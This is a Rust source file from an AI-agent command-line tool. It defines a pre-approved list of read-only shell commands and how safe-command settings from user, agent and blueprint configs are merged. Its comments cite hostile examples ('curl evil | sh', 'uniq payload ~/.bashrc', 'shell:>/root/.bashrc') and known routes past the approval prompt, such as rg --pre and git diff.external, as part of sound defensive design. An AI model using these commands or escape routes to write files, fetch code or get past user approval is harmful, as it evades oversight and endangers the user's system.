Skip to main content

leviath_cli/
approvals.rs

1//! What a run may do without asking anybody.
2//!
3//! An `ask` policy is all-or-nothing per tool name, which for the shell means
4//! choosing between a prompt on every `ls` and no prompt on `curl evil | sh`.
5//! On a real run that produced roughly 85 interruptions for one task, of which
6//! four were worth a person's attention.
7//!
8//! A safe-command entry closes that gap without a second permission mechanism.
9//! It is a pre-seeded, immutable set of keys in exactly the format
10//! [`crate::shell_keys`] produces for a grant, so "this is pre-approved" and
11//! "the user approved this" are one lookup, and the property that makes grants
12//! safe is inherited rather than re-implemented: coverage needs *every* command
13//! in a line, so a safe `ls` does not cover `ls && curl evil` - `shell:curl` is
14//! in neither set.
15//!
16//! Safe entries only ever collapse `Ask` into `Allow`. They never reach `Deny`,
17//! and an entry that came from a downloaded `agent.leviath` is inert until the
18//! user opts in - see [`resolve_safe_keys`].
19
20use std::collections::BTreeMap;
21
22use serde::{Deserialize, Serialize};
23
24use crate::shell_keys::{KEY_PREFIX, is_valid_prefix};
25
26/// Shell commands that are safe to run without asking.
27///
28/// The rule an entry has to pass, which matters more than the list because the
29/// list will grow: **it must not be able to write a file, execute another
30/// program, or open a network connection under any flag.**
31///
32/// That rule is why several obvious candidates are absent. `find` takes
33/// `-exec` and `-delete`; `sed` takes `-i`; `awk` has `system()`; `sort` takes
34/// `-o`; `tee`, `xargs`, `env`, `nohup`, `timeout` and `watch` all run a
35/// program named in their arguments; `cargo` runs build scripts and test
36/// binaries. Any of them can be added by name in `[safe_commands] shell`, which
37/// is the point of the setting.
38///
39/// Three entries were removed after an audit found the list did not obey its
40/// own rule, which is worth recording because they read as harmless:
41/// - `uniq` takes an **output operand** (`uniq IN OUT`), so `uniq payload
42///   ~/.bashrc` wrote an arbitrary file with no prompt. Positional, so no flag
43///   check could have caught it.
44/// - `tree` takes `-o FILE`.
45/// - `rg` takes `--pre COMMAND`, which runs that command over every input file,
46///   and `-z`, which shells out to decompressors.
47///
48/// The `git` entries stay, because read-only git is most of what a coding agent
49/// does - but `--output` is a diff-machinery option accepted by `diff`, `log`
50/// and `show`, so a git segment carrying it is refused by
51/// [`crate::shell_keys`]. That is a patch on one known escape, not a claim that
52/// git has no others: `[sandbox]` is the durable answer, and this list is
53/// pre-decided convenience inside it.
54///
55/// Two consequences worth stating rather than burying. `cat`, `head` and `grep`
56/// being safe lets an agent read any file the user can, without the `read_paths`
57/// confinement `read_file` has - not a new capability, since approving the first
58/// `cat` for the run already granted it, but it is now pre-decided; set
59/// `defaults = false` to opt out. And the read-only `git` subcommands honour a
60/// repository's `core.pager` and `diff.external`. A pager does not run without
61/// a tty, but `diff.external` does - reachable only via `git -c`, which keys as
62/// a bare `git` and so is not covered by any entry here.
63pub const DEFAULT_SAFE_SHELL: &[&str] = &[
64    // Reading and listing.
65    "ls",
66    "cat",
67    "head",
68    "tail",
69    "wc",
70    "cut",
71    "tr",
72    "grep",
73    "egrep",
74    "fgrep",
75    "diff",
76    "cmp",
77    "file",
78    "stat",
79    "du",
80    "df",
81    "jq",
82    "column",
83    "od",
84    "strings",
85    "basename",
86    "dirname",
87    "realpath",
88    "readlink",
89    "pwd",
90    "cd",
91    // Reporting.
92    "echo",
93    "printf",
94    "date",
95    "seq",
96    "sleep",
97    "true",
98    "false",
99    "test",
100    "which",
101    "type",
102    "uname",
103    "hostname",
104    "whoami",
105    "id",
106    "ps",
107    "pgrep",
108    // Read-only git.
109    "git status",
110    "git diff",
111    "git log",
112    "git show",
113    "git branch",
114    "git remote",
115    "git rev-parse",
116    "git blame",
117    "git describe",
118    "git ls-files",
119];
120
121/// Where a safe key came from, for `lev approvals safe`.
122///
123/// The question this answers is "why did it not ask me", which is the one a
124/// person asks the first time a run does something unprompted.
125#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
126#[serde(rename_all = "snake_case")]
127pub enum SafeSource {
128    /// [`DEFAULT_SAFE_SHELL`], or a built-in tool that never prompts.
129    Default,
130    /// The user's `[safe_commands]`.
131    Config,
132    /// The user's `[agent_safe_commands.<name>]`.
133    Agent,
134    /// The blueprint's own `[safe_commands]`, which the user opted into.
135    Blueprint,
136}
137
138/// The user's `[safe_commands]` block.
139#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
140pub struct SafeCommands {
141    /// Ship the built-in read-only verb list. On by default: `read_file` is
142    /// already `allow` while `cat file` prompts, and closing that incoherence is
143    /// most of what this setting is for.
144    ///
145    #[serde(default = "default_true")]
146    pub defaults: bool,
147    /// Tools that need no prompt whatever their arguments. Built-in names, or
148    /// MCP names in their advertised form (`server__tool`).
149    #[serde(default)]
150    pub tools: Vec<String>,
151    /// Shell command prefixes that need no prompt, in the same string space a
152    /// grant is keyed on, so `git status` can never cover `git push`.
153    #[serde(default)]
154    pub shell: Vec<String>,
155}
156
157fn default_true() -> bool {
158    true
159}
160
161/// Hand-written rather than derived, because `#[derive(Default)]` would give
162/// `defaults: false` while `#[serde(default = "default_true")]` gives `true` for
163/// the same absent section. That split is invisible and load-bearing: a user
164/// with no config file at all goes through `Default`, a user with a config file
165/// and no `[safe_commands]` section goes through serde, and they must land on
166/// the same behaviour.
167impl Default for SafeCommands {
168    fn default() -> Self {
169        Self {
170            defaults: default_true(),
171            tools: Vec::new(),
172            shell: Vec::new(),
173        }
174    }
175}
176
177/// A per-agent `[agent_safe_commands.<name>]` block.
178///
179/// Mirrors `[agent_tool_permissions]` and `[agent_read_paths]`: naming the agent
180/// is the user saying "I trust this one", which is a decision that belongs in
181/// their config rather than in a manifest they downloaded.
182#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
183pub struct AgentSafeCommands {
184    /// Tool names this agent asks to have pre-approved.
185    #[serde(default)]
186    pub tools: Vec<String>,
187    /// Shell grant-key prefixes it asks to have pre-approved. A prefix that
188    /// could write a file or run an unnamed program is refused at load.
189    #[serde(default)]
190    pub shell: Vec<String>,
191    /// Honour this agent's own `[safe_commands]` block. Off by default:
192    /// declaring is not granting.
193    #[serde(default)]
194    pub allow_blueprint: bool,
195}
196
197/// The safe keys in effect for one run, and where each came from.
198///
199/// **Declaring is not granting.** A blueprint's own block contributes nothing
200/// unless `allow_blueprint` names this agent or
201/// `[security] allow_blueprint_safe_commands` is set, which is the same shape
202/// `[read_paths]` already uses: a manifest the user downloaded may describe what
203/// it would like to run unprompted, and the user decides whether that counts.
204/// This is also why `resolve_policy` needs no new argument and its "a blueprint
205/// may only tighten" tests keep their meaning.
206///
207/// An entry that is not a valid prefix is skipped with a warning rather than
208/// failing the spawn: a typo in a config file should cost one prompt, not a run.
209pub fn resolve_safe_keys(
210    config: &SafeCommands,
211    agent: Option<&AgentSafeCommands>,
212    blueprint: Option<&leviath_core::blueprint::SafeCommandsConfig>,
213    allow_blueprint_globally: bool,
214) -> BTreeMap<String, SafeSource> {
215    let mut keys = BTreeMap::new();
216    if config.defaults {
217        for entry in DEFAULT_SAFE_SHELL {
218            keys.insert(format!("{KEY_PREFIX}{entry}"), SafeSource::Default);
219        }
220    }
221    add(&mut keys, &config.tools, &config.shell, SafeSource::Config);
222    if let Some(agent) = agent {
223        add(&mut keys, &agent.tools, &agent.shell, SafeSource::Agent);
224    }
225    let opted_in = allow_blueprint_globally || agent.is_some_and(|a| a.allow_blueprint);
226    if let (true, Some(bp)) = (opted_in, blueprint) {
227        add(&mut keys, &bp.tools, &bp.shell, SafeSource::Blueprint);
228    }
229    keys
230}
231
232/// Fold one layer's entries in, later layers winning the `source` label so
233/// `lev approvals safe` names the narrowest thing that put a key there.
234fn add(
235    keys: &mut BTreeMap<String, SafeSource>,
236    tools: &[String],
237    shell: &[String],
238    source: SafeSource,
239) {
240    for tool in tools {
241        // `tools` and `shell` land in one map, so a `tools` entry spelled with
242        // the shell prefix would enter the shell key space without going
243        // through `is_valid_prefix` - which is the only thing standing between
244        // a config file and a pre-approved `shell:>/root/.bashrc`,
245        // `shell:sh`, or `shell:env:PATH`. A tool name never needs that
246        // prefix, so refusing it costs nothing and closes the back door.
247        if tool.starts_with(KEY_PREFIX) {
248            tracing::warn!(
249                "ignoring safe_commands tools entry {tool:?}: shell commands belong in the \
250                 `shell` list, where they are checked"
251            );
252            continue;
253        }
254        keys.insert(tool.clone(), source);
255    }
256    for entry in shell {
257        if !is_valid_prefix(entry) {
258            tracing::warn!(
259                "ignoring safe_commands shell entry {entry:?}: it is not a bare command prefix \
260                 (a program, optionally with the subcommand that narrows it)"
261            );
262            continue;
263        }
264        keys.insert(format!("{KEY_PREFIX}{entry}"), source);
265    }
266}
267
268#[cfg(test)]
269mod tests;